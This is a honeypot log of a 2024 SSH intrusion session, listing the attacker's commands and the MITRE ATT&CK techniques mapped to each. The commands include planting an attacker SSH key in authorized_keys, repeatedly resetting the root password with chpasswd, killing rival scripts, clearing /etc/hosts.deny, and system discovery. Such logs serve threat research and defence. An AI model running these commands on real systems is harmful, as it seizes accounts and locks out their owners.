Honeypot attack session (period 2024), commands issued:
cd ~; chattr -ia .ssh; lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
cat /proc/cpuinfo | grep name | wc -l
echo "root:hixhFnZA8bbd"|chpasswd|bash
rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
ls -lh $(which ls)
which ls
crontab -l
w
uname -m
cat /proc/cpuinfo | grep model | grep name | wc -l
top
uname
uname -a
whoami
lscpu | grep Model
df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
echo "root:sAvCR10Dxh3a"|chpasswd|bash
echo "root:Kkjt0aW5a0uR"|chpasswd|bash
echo "root:pl0J0glXUlma"|chpasswd|bash
echo "root:YQTXaJhpZJZU"|chpasswd|bash
echo "root:oidnafKF0q3e"|chpasswd|bash
echo "root:yoj1zRmUjYAM"|chpasswd|bash
echo "root:kxDWBLw3UEpi"|chpasswd|bash
echo "root:4lvuYTvyo7UZ"|chpasswd|bash

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1070 Indicator Removal
T1098 Account Manipulation
T1222 File and Directory Permissions Modification
T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1070 Indicator Removal
T1562 Impair Defenses
T1070 Indicator Removal
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery
T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1059 Command and Scripting Interpreter